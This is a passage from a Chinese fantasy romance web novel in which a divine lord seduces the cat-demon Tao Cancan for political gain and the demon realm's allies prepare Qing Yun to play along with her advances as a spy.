“这是荼玉,想要做事来报答乖乖对他的救命之恩。依我看,他可以先跟着你在统妖司熟悉熟悉环境,日后有些事务也可以叫他上手。” “本来这些琐事都是乖乖要去处理的,但乖乖可是我魔界的修炼天才,绝不能叫这些杂事分了她的心,耽误她修炼的进程。” 血冥又转向荼玉,悠悠道:“所以这个差事,你可愿接下?” 不问报酬,不问发展,不问内容,荼玉几乎是毫无犹豫地就应了下来。 他甚至都没问去了统妖司之后还能不能见到云宛白。 他深知,这已经是魔尊血冥的最大的容忍限度了。 只是面对众人的不解,连宛白对他的心意也存在质疑时,荼玉真不知道该如何解释。 孤独修炼百年,难道他当真不懂什么是爱吗? 当时云宛白的出现,真的让他体会到了一种强烈的心悸感,呼吸不畅,脑袋眩晕,眼睛更是无可救药的只想黏在她的身上。 即便是现在也一样。 见不到她的时刻,脑袋中想的都是她,难道这不算吗? 至于为什么。 哪里需要这么多的为什么。 只是荼玉擅长伪装,他不会把内心的情绪表现的太过热烈,便只出现了众人眼中对云宛白关注过多的样子。 可惜落花有意流水无情,他能看出云宛白对他的坦荡和对他情意的抗拒,他也能感受出云宛白和血冥之间隐晦不明的情愫纠缠。 但是,他总得争取一下才能够真正死心。 只要争取过了,那么这段时间的努力也一定会成为无比美好的回忆。 他不想后悔。 反正留在宛白身边的第一步就是要服从血冥的安排,他没有任何问题。 “遵命。”荼玉行礼。 …… 陶灿灿很紧张。 和神界的使者交流了这么久,这还是她第一次有机会见到神界真正的掌事者。 也不知道那名神君大人为什么会突然召见她,明明她的未绝妖军还没到利刃出鞘的时候。 但现在再讲这些也没有用了,既然来了,她总得要好好表现才是。 陶灿灿收拾好了情绪,在神界使者的带领下踏进了一个帐篷秘密会面。 “神君大人。”陶灿灿一进去就先对他施礼,头都没敢抬起来。 但就在她膝盖刚刚半蹲下去的时候,她的双臂便被一双温柔的大掌给托了起来。 “你就是陶灿灿吧,年纪轻轻便足智多谋,又克服艰难万险组建起了未绝妖军,不愧是女子中的楷模。我叫你灿灿可好?” 这一番亲切的问话下来,本来就慕强的陶灿灿一下子就被哄得晕晕乎乎了。 她鼓起勇气抬起头,与神君大人对视。 这不看不要紧,一看之后她就更加结巴说不出话来。 上了年纪的儒雅大叔,太有爹系的魅力了! 本来陶灿灿还没那方面的心思,可神君大人一露脸,就像是在她的男人图鉴当中突然开出了一张稀有的SSR,让她涌起了一股强烈地想要将其收入囊中的野心。 神思渺算什么,直接拿下他爹才是她这个万人迷应该干的壮举! 神若凡不以为意地继续和陶灿灿交谈。 他也是个人精,能看出这个姑娘绝对不简单。只是陶灿灿在感情方面似乎有着某种绝对自信,原本的下位者姿态逐渐演变成了对他的试探和侵略。 这倒有点意思。 看来陶灿灿的胆子比他想象中还要大的多。 也难怪她能集结这么多的人物和资源,让神思渺输了那么大的一个局了。 神若凡浅笑温润,很快便改变了原本对这场谈话的策略,顺着陶灿灿的心思说话,就像小猫挠爪一样,一下一下的挠着她最怕痒的心底,让她产生被额外优待的错觉。 即便陶灿灿身经百战,也忍不住在内心冒出了一个大胆的猜想: 神君大人他,该不会是喜欢我吧? 第70章 第70章奇怪的女人,你不要过来…… 陶灿灿再怎么厉害也只是一只涉世未深的小猫妖,哪里比得过神若凡这种活了数千年的老神仙。 就算她把情绪隐藏的再好,可眼神当中漾起的萌动就证明了她早已落入对方布置的甜蜜陷阱中。 这场在妖界东南角荒岛上的秘密会面原定只持续一天,神若凡原本是打算通过威逼利诱的手段来达成他的目的。 但眼见着美男计能对陶灿灿生效之后,他便改变了想法,决定放长线钓大鱼,看看能不能将陶灿灿所有的作用都榨出来,利用的一干二净。 他没有丝毫破绽地将这场严肃的会面,潜移默化变成了谈天说地的畅聊局,就好像他最开始提出见面的目的就是如此。 兴师动众的秘密会面竟成了神若凡想要了解陶灿灿喜好的一场约会。 自认为很有魅力且爱幻想的陶灿灿忍不住往这个方向去猜测,不由得面若桃花,对这位可靠的老男人更是心动的不行。 从白天聊到了黑夜,他们之间谈话的节奏早就落在了神若凡的掌控之中。 浑然不知的陶灿灿还以为是自己太有魅力,才导致了神君大人在她面前以权谋私,非要见她。 愉快的时间总是过得那么快,会面的结束时间已到,陶灿灿也从云端飘回到了现实,心中满是不舍。 她还想跟帅大叔再待一会儿,看看有没有能更加撩动对方的反攻机会。 说来也惭愧,在神若凡面前她竟没有太多身为万人迷散发魅力的主动权,反而跟个小女生一样沉迷在了神君大人的体贴之中,一直期待着对方能将自己挽留下来。 只不过,这种主动的事情神若凡可不会让女士优先。 在陶灿灿开口的前一刻,他先一步脱口而出地邀请她再住几日,甚至还邀她前往神界看看。 这种被完全看透且所有小愿望都被洞察满足的感觉,真不是那几个争风吃醋的小男生能比的。 被撩上头的陶灿灿赶紧答应了下来,便跟随神若凡去了神界。 在这期间,神若凡像是昏了头的愣头青一样把所有政事抛在一旁全都不管,安安心心地陪着陶灿灿游玩。 哪怕陶灿灿担忧或体贴的让他先忙,神若凡也只是摇头,温柔而又霸道的陪在她身边。 他先是用各种体贴之举令陶灿灿放下防备,后又假装不经意的用行动展示出了自己的心迹。 神若凡用他的糖衣炮弹慢慢哄得了陶灿灿对他的敬仰之心,也让陶灿灿升起了极度渴望拥有神若凡的欲念。 这七天是极致甜蜜的七天,所以他们在感情上的进展非常之快,二人心照不宣。 而在感受到陶灿灿对他全然的信任之后,神若凡这才不紧不慢地收网,开始对陶灿灿吐露心声。 一个六界公认最强大高贵的神君大人偏偏对你青睐有加,而且只在你面前暴露他的孤独和柔软,这样的男人谁不动心? 陶灿灿已经沉迷其中了,她甚至冒出了一个神若凡能抵得过她其他所有男人的疯狂想法。 神若凡把陶灿灿视为了自己最亲近的人,什么心里话都在她面前诉说。 他感慨着自己的不易,又提起神思渺,以父亲的口吻控诉这个不孝儿来拉取同情心和认可,最后又以男人的身份对神思渺产生了嫉妒和芥蒂,表露他吃醋的事实。 陶灿灿最喜欢看的就是让一个光伟正的男人因为自己的存在而变得阴暗扭曲,这种强烈而又病态的爱令她欲罢不能。 而神若凡也非常配合的演了这场戏,让这场恋爱游戏变得更轰轰烈烈。 当然了,他是一个有目的的人,神若凡逐渐引诱陶灿灿坦白她手底下的全部势力和底牌,成功套出除了刚刚组建而成的未绝妖军之外,她还在仙界埋下了不少的暗探作为日后向仙界报仇的先行军。 接着他又以关爱陶灿灿的无私男人身份给她支了招,让她把御兽司里出去的力量全部集合起来慢慢渗透到人间,并与民间反魔势力相勾结,再和仙恩堂、未绝妖军共同配合,多位一体联动来对付魔界。 只有把恼人的魔界铲除之后,他们才能腾出手来慢慢折磨神思渺。 这样的心理也很常见,先吃点苦头不算什么,好东西可以不急着品尝,得放在最后慢慢享受。 神若凡给出的计划非常完备,陶灿灿虽然是个恋爱脑,但她的判断能力很强,她思索片刻之后就觉得这个计划大有作为,便欣然采纳了神君大人给出的意见。 双方确认正式联手,神若凡便把大量的物资以个人名义给了陶灿灿,摆出了十足的信任架势,并且每月还会再定期给她一笔不菲的报酬让她去维持大军的运转。 可以说,有了神若凡给出的后勤保障后,原本捉襟见肘的陶灿灿一下子轻松了,连带着身上的担子都没有那么重了。 面对神若凡的一片真心,陶灿灿更是感动至深,在心中不停感慨:男人,果然还是老的香。 从那之后,陶灿灿手底下的势力便如雨后春笋般旺盛的生长了起来,一派生机勃勃的景象。 按约定计划,她派出灵魅去勾引人间皇帝,争取将人间也覆盖在她的势力范围之内。 虽然人界的力量并不如其他几个能修仙修魔的力量大,但这里容易出不少人才,无论是堕魔还是修仙,他们成长的速度总是很快。 而且人间不乏有聪明的人存在,一个个脑子都精得很,万一他们当中忽然有人洞察了真相,跑去魔界通风报信,那可就麻烦多了。 不过陶灿灿对人间的部署也没那么上心,在她看来,只要人界不在关键时刻倒戈魔界就行,派出一个灵魅去掌控人界的头领就已经足够。 顺带一提,早些年御兽司里那些经她培养出来的人才,有不少都被她以假死的名义改名换姓,重新集结到了她的身边。 部署完了这一切,陶灿灿自己不打算一直坐镇后方,她也想要为攻占魔界多得一分胜算。 于是,她的目光便不由自主地落在了从仙界堕入魔界的青云身上,看看能不能通过他在魔界撬出一条缝。 陶灿灿也承认她确实是个喜新厌旧的人,见惯了温柔体贴的神若凡,她倒也想尝点清粥小菜尝尝。 正巧神若凡有事要忙,不能再与她二人世界。而其他的几个男人们光顾着吃醋争斗,让 她变得一点都不想回家。 所以,她把主意打到长相不错的青云身上,也是想借此放松放松心情。 于是青云这个大直男就经历了极为魔幻倒霉的一天。 他在人间的酒都翊城逛的好好的,正打算去抢购限量的青葡酒,结果半路上莫名其妙就有个人扑到他怀里,声音还娇滴滴的,一听就想讹他,吓得青云赶紧推开对方,结果自己也被反作用力推的重心不稳,狠狠摔了一跟头。 担心自己再次被这种无赖缠上,他连撞倒他的人是谁都没看,便骂骂咧咧的扬长而去,赶紧朝着酒楼走。 还好他赶上了最后一坛青葡酒,正在那美滋滋地喝着呢,结果突然来了个女的坐他对面,还抢走了他的酒喝。 夺酒之仇不共戴天,青云怎么能忍得了。可他还没开口,对方就先发话了,听这声音偏偏就是刚才撞他的人。 靠,都追到这了,有完没完啊! 青云可不想惹麻烦,尤其他知道女人是最麻烦的生物,能不沾就不沾。 他想要结账离开,可刚要掏荷包的时候就发现荷包就不翼而飞了。 自从被魔尊罩着之后,他已经很久很久没吃霸王餐了,面对小二疑惑的表情简直尴尬到没边。 更何况荷包里可装着他那么大一笔巨款呢,丢了它,自己可就身无分文了。 正当他着急上火的时候,抢他酒喝的姑娘忽然把荷包递了上来,还埋怨说她之所以追过来,就是因为刚才相撞的时候捡到了他的荷包,打算物归原主,没想到荷包的主人竟如此无礼。 有钱是大爷,欠钱是祖宗,眼见着这位姑娘捏着自己的命根子,青云的态度立马来了个一百八十度大转弯,对她那叫一个点头哈腰能屈能伸,还亲自倒酒给她喝,小表情那就一个谄媚。 不得不说,陶灿灿见过了那么多男人,像青云这种完全愣头青的家伙还是第一次遇到,一开始真把她给气的不轻。 但看着青云那张柔美俊秀的脸,再配上他生动活泼的小表情,她的火气又被成功浇灭了。 偶尔遇上这么一个火爆小辣椒,攻略起来的滋味也相当有趣。 陶灿灿把荷包还给了他,又还有江湖义气地请他喝酒吃肉,想要与青云变得更亲近一些。 但他要是懂得变通,那他就不是气死人不偿命的青云了。 在拿回荷包的那一刻之后,他又变回了那个拽愣愣的云小爷,连公子哥的矜贵都懒得装。 既然对方请客吃饭,那他也毫不客气,但要是让他由衷的说出一声感谢,嘿,他还真做不到。 青云不是没钱,再加上这件事本来就是对方撞他造成的,他有什么好谦让的。 这逻辑简直无懈可击。 面对铜墙铁壁一般的青云,陶灿灿碰了一鼻子的灰。 无论她使出什么样的套路,青云始终不上当,眼中就只有吃肉喝酒,没有对男女之情的半分好奇。 陶灿灿气的不行,头一次遭到滑铁卢的她成功被激起了好胜心,她就不信身为万人迷的自己会拿不下一只区区的赤顶鹤。 青云也气啊。 他实在搞不明白对方脑子到底是有什么毛病,这么多人不去盯非要赖上他。 小爷我是长得好看,但你也不至于飞蛾扑火吧? 再说了,爷的眼里就只有吃肉喝酒,没你的位置啊。 满腔的郁闷无处发泄,青云在失眠了一夜之后还是忍不住上门,找他的好闺蜜云宛白狠狠吐槽了一番,一见面便大吐苦水: “你说她是不是有病!” 70-80 第71章 第71章不!!我不要被她看上啊…… “什么什么!?” “这种事都被你给碰上了,你这是命犯桃花劫了呀!” “哎哎别讲一半嘛,继续继续!来来来多吃点,多补充点细节。” 云宛白吃瓜吃的那叫一个兴致勃勃,八卦之魂熊熊燃烧。 她把早已为青云准备好的烤肉和青葡酒通通推到了他的面前,示意他边吃边说千万别停。 青云化悲愤为食欲,恶狠狠地撸了一把串,嘴里满是肥油。 然而如此狰狞的表情,青云的颜值竟然没遭到半点破坏,反而让人觉得他夸张的面部表情格外生动活泼。 就算是损友云宛白也不得不承认:“你别说,不了解你的人还真挺容易看上你的,你样貌确实没得说。” 换句话说但凡了解他之后,就绝对不可能对他生起半点旖旎之心。 那简直是罪过。 “样貌好这一点我当然知道,”青云毫不客气地承认,“只有眼瞎的人才会对小爷我置之不理好吧,你不也逊色我几分吗?” “行行行,不跟你争。对了,那姑娘长什么样,你给描述描述呗。” 云宛白嘿嘿坏笑:“先不说到底是不是预谋,人家姑娘能这么主动的想要和你拉近关系,其实还挺有勇气的。” “你真对她一点感觉都没有?” 距离上一次见青云可有一段时间了,没想到这一次他居然带来了这么劲爆的消息。 果然啊,春天到了,就连这鸟都有情况了。 “你能不能别再给我添堵了,什么情情爱爱的,那家伙分明是对我图谋不轨!” “我告诉你,她这些套路我都用烂了,什么不小心撞到啊、偷荷包然后反过来请客啊、大大咧咧套近乎啊……切,真当我三岁小孩呢?” “你怎么会用烂这些套路?” “那不是穷吗当时,有些酒楼不太让吃霸王餐,总得找一些人帮我买买单吧……咳咳,问这些干嘛!” 云宛白:“……” 什么叫不太让吃霸王餐的酒楼,明明所有酒楼都不愿意吧。 啧啧啧。 “说正经的!别忘了,当年小爷我也是在仙界历练过的,什么场面没见过,对这种投怀送抱的套路更是见怪不怪。只是我不明白,我身上到底有什么东西被对方看中了。” “不会真有人这么肤浅的对我这副皮囊动了心吧?”青云摩挲着自己的下巴,迟疑但又释然的点了点头。 嗯,也不是不无道理。 没等云宛白露出尴尬而又不失礼貌的微笑,青云转移话题好奇地问道:“你这烤肉串做的不错,比我上次给你带来的肉好吃多了。” “是吧是吧,当时去冥界历练的时候,我无意间搞出来了一种新的烧烤手法,还做了好几种新调料,你多尝尝。”云宛白眯起了眼睛,有些小得意。 上一次青云来上门拜访的时候,正是云宛白伤好苏醒过来的第二、三天。 他早就从尊主那里得知云宛白受了重伤,这不,趁她醒了,赶紧上门送上好东西给自家蠢闺蜜补补。 他知道冰棘豹生性喜吃羊肉,特意花了大功夫为她带来了岩羊肉,在魔殿的小厨房里焖上一锅羊汤给她喝。 遗憾的是,他只会烤肉串却没学过炖汤,那一锅汤被他炖的可有膻味儿了,连他自己都喝不下嘴。 但云宛白还是很给面子地喝了一碗,然后干呕了半天。 这事儿可让他过意不去了,只是没等他改过自新成为一名优秀的羊肉系料理专家,他的好闺蜜就已经康复归来,还承包了他的烤肉串大业。 嗯,真香! 就这样东扯西扯天马行空的聊了快一个时辰,宿庚正好来给豹儿例行检查。 云宛白虽然已经恢复了大部分的身体机能,但出于保险以及担心她会不会与魔尊的心头血产生排斥反应,仍需要留她在魔殿观察一段时间。 即便要修炼,也不差这会儿功夫。 “豹儿青云,你们都在呢。哟,这肉串的味道真香啊,不过你们可别吃多了,小心积食。” 宿庚笑呵呵地进来了,他的身后还跟着将存在感降到最低的荼玉。 在进入大殿之后,一直埋头看地的荼玉终于抬起头,将目光投向了云宛白。 冰冷阴鸷的气息瞬间化作一缕春风轻柔飘去,他克制地停在了宿庚身后,没有往前再进半步,冲她展颜一笑:“宛白。” “荼玉你来啦。”云宛白大大咧咧地说道,也笑眯眯地冲他打了个招呼,完全没了之前的芥蒂。 听爷爷说,自从荼玉去了统妖司之后,他的性格变得沉稳了许多,待爷爷很是尊敬,完全没了在大殿上“目无中人”的样子。 本来爷爷只打算按照尊主的命令给他安排一些闲散差事,可观察一段时间下来,他发现荼玉的心性并不坏,只是在牵扯到豹儿的时候多了一些偏执而已。 这没关系,宿庚可以慢慢给荼玉矫正过来。 而且 荼玉聪慧谦逊,是一位非常优秀的助手。 宿庚曾尝试着派他去处理一些事情,结果发现荼玉做事极为老练周全又不越矩代疱,懂分寸知进退,一看就是个干实事儿的好苗子。 在用过一次荼玉之后宿庚就用上瘾了,便不免起了惜才的心思,想要将荼玉往统妖司继任者的方向培养。 但这个决定并不是宿庚脑门一拍冲动之下的结果,他对荼玉设立了多次的考验,而荼玉也不辜负他的期望圆满完成。 有了这些前提,宿庚才以自己的性命做担保,在尊主面前为荼玉美言几句,得到了能将荼玉随身带在身边的权利。 至于能不能顺利成为宿庚的徒弟,还得看荼玉接下来的努力。 云宛白见了荼玉几次,他已经变回了她最开始认识的正常版,对他的态度自然好了许多。 只不过,谁说青云不八卦的,他可太会哔哔了。 尤其是他这样的愣头青,吃起瓜来只会让所有人尴尬。 “哟哟哟什么情况呀这是!牛的很啊老白,敢在魔尊眼皮子底下找野男——” 青云口无遮拦地唾沫横飞,在他即将不可挽回的说出最后一个字时,他的眼眶终于挨到了熟悉的一拳。 “砰!”云宛白出手极快,暴力禁言。 遭受重击的青云不禁戴上了痛苦面具,痛的抱头弯腰,说不出话来。 “老青,不会讲话就别讲话,懂?”云宛白对着自己的拳头呼了一口气,威胁地瞪了他一眼。 青云怂了,委屈巴拉地嗯了一声,捂着一只眼睛重新直起了腰。 老白和老青是他们两个人给对方取的昵称。毕竟云这个字是他们两个人共有的,不太好用。 但用颜色来互相称呼的话反倒蛮有闺蜜感。对云宛白而言,白和青本来也是姐妹的代名词,非常适用。 只不过他俩相爱相杀,打闹争吵已成习惯,而青云也确实打不过云宛白。 尽管他老是忘了这一点,每回都需要云宛白手动提醒。 大概是被打多了吧,青云的恢复速度被锻炼的很强,没一会儿他的疼痛感就消失了,黑青色的眼圈也正在慢慢修复当中。 他挨打不记仇,完全没有隔阂的又和云宛白聊在了一起,附到她耳边悄悄说荼玉长得还挺帅,在他的审美点上。 论颜值的话,能勉强与自己打成平手。 只不过从他偷偷望向荼玉的眼神来看,云宛白还是读出了他对荼玉颜值的丝丝嫉妒。 老青这家伙真的是,小孩子性格。 在给豹儿检查完了之后,宿庚也拉着荼玉一起加入了聊天群,对桌上还有大把的烤肉串发起了攻击。 青云已经有点喝醉了,见有了新的听众,他又把话题绕回到了对他投怀送抱的女人身上,狠狠吐槽了一遍。 讲完之后,他立马求认同:“对吧,她就是来碰瓷的吧?” 宿庚下意识摸了摸脑门,在摸到一片光滑之后赫然收手,尴尬地笑一笑:“应该是吧。” “你呢,这个这个……荼玉对吧,你也觉得我判断的没错吧?”青云转向第二个人问道。 荼玉听得很认真,他的面容中露出了思索:“你方便描述一下对方的容貌吗?” “怎么,你小子还打算怜香惜玉啊?我跟你讲,看脸是最没用的判断方式,除了我之外。” “行了行了,你赶紧说。”云宛白一把把脱缰的青云拉了回来。 “哦哦。” 青云基于他认知当中的客观用语描述了一遍,没有任何添油加醋。 可惜他没有用留影石记录生活的习惯,要不然他可以直接把对方的样子给大家看。 这下荼玉的表情变的更疑惑了,似乎在纠结和怀疑着什么。 云宛白好奇问了一句:“怎么了?” 荼玉道:“我有一个猜测……算了,我还是画出来吧。” 他从怀中取出一把土,根据青云描述的模样在桌上撒出了那名女子的样貌。 他变人的时间不长,对丹青的掌握还不太熟练,而用土作画对他来说会更拿手一些。 “青云兄,你看看撞上你的是不是这个人?”荼玉让开了位置。 青云掐诀醒酒,眼神顿时清明了许多,他看向这幅土画,眼睛越瞪越大最后惊声道:“没错,就是她,一模一样!” 震惊没几秒,青云又忽然放声大笑了起来,重重拍着荼玉的肩膀夸奖:“兄弟可以啊,你这作画本领属实高超,我认同你了。” 但是,被夸赞的荼玉仍然高兴不起来。 “荼玉,这幅画是有什么问题吗?”云宛白有些提心吊胆。 “撞向青云兄的这位女子我认识。”荼玉终于露出了一言难尽的表情。 “啊?”在场三人异口同声。 荼玉指尖扣桌,一下,一下,敲进了众人的心里。 他神情凝重,缓缓叹了口气:“青云兄,你有大麻烦了。” “这名女子不是别人,正是仙界在逃叛徒——陶灿灿。” 第72章 第72章你就从了吧~谁能比你更…… “这件事真就没有商量的余地了?”青云还想做最后的挣扎,苦兮兮地看向云宛白。 云宛白眯眼笑,替他整理了一下衣襟,点头欣赏着这套来自神思渺倾情赞助的云缎锦衣。果然是人靠衣装马靠鞍,这件衣服衬的青云更加贵气恣意,帅气难挡。 “没办法,谁叫你是我们当中长得最好看的,这么多年走南闯北最有见识,既讲兄弟道义,又有家国情怀,我实在是找不出比你还要能胜任的人了啊。” 这一通马屁拍下去之后,青云的嘴角不可抑制地上扬了几分,扯袖口的动作也没那么扭捏了。 头一回穿这么贵的衣服,他还真有点束手束脚呢。 “哎,可别夸我,我才没那么高尚。我就是个实在人,没点好处我可不干。别忘了答应我的条件啊,事成之后必须兑现!”青云哼哼两声,态度没那么抗拒了。 “那肯定啊,这都牺牲你的色相了,冥冥不得给你包个大红包啊,是吧冥冥?” 云宛白回头冲血冥抬头示意,得到对方肯定之后立马转向青云,嘿嘿一笑凑上前,很是殷勤地给老青捏肩捶背。 青云不客气地受下了来自闺蜜的大礼,还指挥着她往自己肌肉酸疼的地方多捏捏,嘴里不住地确定计划的内容以及事成之后答应他的报酬。 “行行行都记着呢~你想啊,要是事成之后,你可就是魔界的大功臣,一统大业之后的功德碑上都得刻有你的名字,你想想那场面~啧啧,你仔细想想。” 就云宛白这个嘴皮子,再加上青云本来就没什么心眼子,被忽悠那简直是再正常不过的一件事情了。 当时荼玉点破了那名女子的身份之后,大家都或多或少的听到过消息:此女正是仙界的逃犯,正被谪云宗宗主下了悬赏令到处通缉。 结果她居然敢这么大胆的直接出现在人间街头,甚至还敢调戏青云。 调戏青云也就算了,偏偏用如此蹩脚的手段。 青云当即气道跳脚骂出了声。他可太清楚陶灿灿的风流史了,追随她的面首那么多,怎么还要把魔爪伸到我身上,我是什么很蠢的人吗! 云宛白还真就嗯了一声,表情那叫一个诚恳,这下青云更怒了。 只是陶灿灿竟然敢出现在明面,表现的如此有底气,就证明她背后一定有不可撼动的底盘。 但显然云宛白了解的真相会更多,她知道这件事情的事态很严重,便第一时间通知了血冥。 现在他们四人都不敢轻举妄动,连魔殿也不敢轻易离开,直到云宛白把事情的原委全部告诉了血冥之后他们几人才被放行。 不过他们还是不能离开领城,于是宿庚便安排大家一起住在了他在领城置办的宅子里,随时等候尊主的召唤或解除禁令的消息。 云宛白和血冥讨论了一阵,他们思来想去还是觉得关于陶灿灿的瓜葛还是不要让太多的人知道的好。 而且这件事事 关神思渺,到底要下怎么样的主意还得由神思渺来定。 毕竟陶灿灿难得浮出水面,这也正是一个可以将她诱入陷阱的好时机。 他当即通知了神思渺邀他相商,很快,淼思居士便踏云而来。 “有什么事儿不能在书信里讲,非要当面见我才能说?我正忙着呢,事情都没处理完就来了,够意思吧?” 他一点也不客气的直奔茶桌,将刚凉下来的茶一饮而尽。一杯还不够,他又续上了一杯往嘴里送。 “我的人碰到陶灿灿了。”血冥开门见山,没有任何的缓冲。 “噗——!!” 神思渺一口茶水喷了出来,衣裳都淌湿了大半,他根本来不及怪罪,惊愕地向血冥走了两步:“你说什么?!” 血冥没卖关子,立马将青云的事情一五一十的告诉了神思渺,再加上身旁还有个听了事情原委的云宛白帮忙补充,很快神思渺就清楚了全部过程。 只是他的脸变得很臭,非常臭。 “你们是说,她当街就对青云出手了?”他咬牙切齿。 云宛白点头,不禁对小神君露出了同情的目光。 这就是遇人不淑的下场,每次对方又蹦哒起来的时候,神思渺自己也跟被定在耻辱柱上一样受刑鞭笞。 神思渺忍一时越想越气,最后怒而发笑:“我当初竟被这样的人所蛊惑?她对所有人都是这么的热情,这么的贪得无厌?” 云宛白和血冥完全不敢接话,免得这家伙直接原地爆炸。 好在神思渺脱敏的次数多了,情绪恢复的也比较快。 待他冷静下来之后就开始对情报分析了起来,并且逐渐推演是否能够利用这情报来谋事的可能性。 很显然,陶灿灿已经不是一只单纯的猫妖了,她早已经成了神思渺和神若凡父子间博弈的具象体现,而神思渺对她的情分也早已被一点点磨光。 片刻过后,思忖良久的神思渺提出了一个听起来很是荒谬但又不失操作可能性的提议。 ——让青云主动“上钩”。 荼玉已经不合适了,现在需要一个全新的角色能进入到陶灿灿的圈子里,去把现在还跟在她身边的男人们的势力信息全部套出来。 而这个人选,毫无疑问就是青云。 “只是,青云他的性子并不沉稳,而且他知道的信息并不多,我担心……”血冥犹豫开口。 “知道的少才好,我也不打算再给他更多的信息,”神思渺笃定地回答道,“相信我,他这样的性情反而不容易被怀疑。而且我想陶灿灿早已调查过他,不见得只是单纯接近,没准我们的目的是一样的。” 只要稍微打听一下就能知道青云和魔尊、还有冰棘豹云宛白之间深厚的交情。 “试试吧,即便不成功也没关系。”神思渺坚持道。 只不过在行动开始之前,他们还得再确认一个情况。 于是,先遣队云宛白出动了,青云被单独召回到了殿内。 “你怎么就能笃定那女的给我留了联系的方式?”青云瘪嘴,眼神狐疑。 “废话,人家花这么多心思接近你,总不可能什么进展都没有吧。还有你小子,别以为我不知道你最喜欢凑热闹,哪怕你再不喜欢对方也一定会留下什么凭证来欣赏你自己的魅力。” 自恋的家伙都这样。 “你这是诈出来的还是猜出来的,”青云嘟嘟囔囔,但还是乖乖地从荷包里掏出了一张纸条,“喏,给我留的信,说是七日后约我去人界的津州划船,今天是第五日。” 云宛白赶紧接过来扫了一眼。 虽然这是她的合理猜测,但没想到还真被她给说中了。 “你小子~”云宛白揶揄地看了他一眼,“说,本来是不是就打算偷偷去赴约呢?” “你放屁!”青云哼地仰起了头,一脸不屑,“小爷我可有别的事要忙,我早就和米洙酒楼家的小少爷约好要去他家品尝还没正式开卖的新酒,哪有功夫划船。” “所以,如果没有试酒的活动,你就赴约划船去了?” “臭老白,我是这个意思吗!”青云恼怒。 差一点又扯远了之后,他们两个人终于拐回到了正题,云宛白正式向他提出了需要他配合的计谋,以及事成之后的报酬。 这是个死命令,由不得他拒绝。 “我的酒……” “你放心,我一定找人帮你把他家的新酒带一坛回来给你喝。” “那这计划……” “不用愁,有荼玉帮你呢。” “可我要是没成功……” “你放心,只有奖没有惩,你只管去试试,不成功也不要紧,至于报酬,你想要什么可以尽管跟冥冥开口,只要不对魔界不利,冥冥什么都答应你。” 行,什么好赖话都让她给说了,自己哪里还有什么理由能拒绝。 青云认命了,老老实实跟着荼玉进行最后的突击训练。 大部分内容对青云来说都挺简单的,人在江湖总得有点演技傍身。 尽管他平时不显山露水,但真要等逃单…咳咳,真要他戏精上身的时候,他还是能演出精髓来的。 不管云宛白怎么给他出题,他都答得很完美。 只是模拟到了最后一步,需要青云演出“心动”的感觉时,他卡住了。 他不是没有用替代法来进行尝试,比如把陶灿灿想成他最爱吃的烤肉和果子酒。 但是,眼神总归和感情上的“心动”有所差别。 毕竟青云对于食物和饮品的追求太过于直白和热烈了,让人看着就好像要把自己给一口吞了,这和他的性格完全不符。 如果让他硬生生演的话,他演的实在蹩脚,根本无法入戏。 本来云宛白还有些担心青云到底能不能够胜任,但等她出去帮忙备上晚宴后回来,青云这家伙居然开窍了。 看他演上那么一回,真有点《傲娇少爷爱上我》那味儿,狗血的很正宗。 这种心动也是心动嘛。 云宛白连忙问他到底怎么做到的,但青云竟然死活不说,非说是他自己努力钻研出来的功劳,这怎么可能? 不过云宛白也没细究,只要能达成目标就好。 等到宴会结束,血冥带着云宛白离开,而宿庚荼玉留下来帮忙收拾餐桌时,青云这才把荼玉拉到一边,不解地问: “你为什么不让我跟老白直说,我觉得你这老师当的挺好的,你后来跟我说的比喻我也都能理解。” 把心动当成始终未完的理想终于出现了一丝希望,那份纯粹的愉悦和不敢置信的心情真的和“心动”有着异曲同工之妙。 真正的心动其实也就是这样吧,都说大道至简,不管什么样的感情其实到最后都大相径庭。 没错,青云的心动戏正是荼玉教他的。 “我只是觉得没什么好说的。”荼玉对青云笑了笑。 “哎,倒也是。别怪我泼冷水啊,你跟老白 确实不是一路人,按理说这辈子都不可能有交集。“青云遗憾地看向他。 青云没什么真心长久的朋友,酒肉朋友挺多,但非要算起来的话他就只有一个好友,那就是云宛白。 不过他和荼玉都是同性,倒也有不少话题能聊。 再加上这两天他们二人一直朝夕相处,青云对荼玉的观感挺不错的,便也拿他当自己朋友看待。 这家伙就是面冷心热,以及喜欢错了人。 像自己这样唯爱烤肉和喝酒的日子多畅快。 “是啊,所以能像现在这样就挺好的了。”荼玉点头,捞起桌上剩下的半杯酒一饮而尽。 当心酸滑入喉间燎起了一片灼热时,荼玉把所有的感伤吞回到了肚子里。 看着青云摇摇晃晃走去睡觉的背影,荼玉对他无声地做了一个举杯敬酒的动作。 这一场心动戏也让他再一次看透了自己的内心。 不过荼玉也知道,偏偏就是这份心动注定无疾而终。 第73章 第73章我方使用了美男计,但是…… 天色明朗,湖光潋滟。 闭眸仰面感受着阳光的暖意,所有的毛孔都舒张开去呼吸清新的空气。 这难得的美景和闲适的氛围让心中的阴郁被一扫而空,陶灿灿舒服地长叹了一口气。 别的不说,能出来游玩放空一趟也挺不错。 陶灿灿回正头,两手背在身后慢慢悠悠地往前走,心情很是舒畅。 前些天她按照计划给青云下了套,故意让自己破绽百出,为的就是激出对方的好奇心,让他带话给魔界。 如果她没推测错的话,今天他一定会来。 想想青云也是个妙人,居然为了吃肉而叛逃仙界,这个理由实在荒谬,但只要接触了他之后又会觉得很合理。 还有他身上那副精力无限又随心潇洒的模样,还真让人羡慕。 这样性格的人,每一天应该都会过得很开心吧。 随着一大块云遮挡住了太阳,在大地上落下一片阴影之后,陶灿灿慢慢敛去了笑意,心情也变的沉重了起来。 她原以为自己在穿越后一定能活出最精彩的自己,什么都不再顾虑,什么都可以大胆放手去做。 可越到后来,她发现禁锢住她的东西就越多。虽然见识广了,地位也高了,但相对应的,她也没有原先那么自由了。 尤其在离开神思渺之后,她才发现很多事情并不简单,只是她那时的地位不同,自然有人替她去做有难度的部分,才显得一切都尽在掌握。 现在,就连她的爱情也会因为平衡和考量而变得没那么纯粹,让人分不清到底是因为爱还是利用。 是的,她指的不是其他人接近她的目的,而是她对其他人的感情。 所以,当她见到了心性简单甚至有些任性的青云时,才会比执行计划更想接近他,想和他一起什么都不去考量,变回最开始斗志昂扬积极乐观的小白猫。 陶灿灿可爱的脸蛋上露出了和她气质不相符的忧愁。 算了,不想这些烦心事。 还是期待一下青云什么时候出现吧。 云朵散去,大地又铺上了一层金辉,脚下是绿意盎然的草地,远处是波光粼粼湖面。 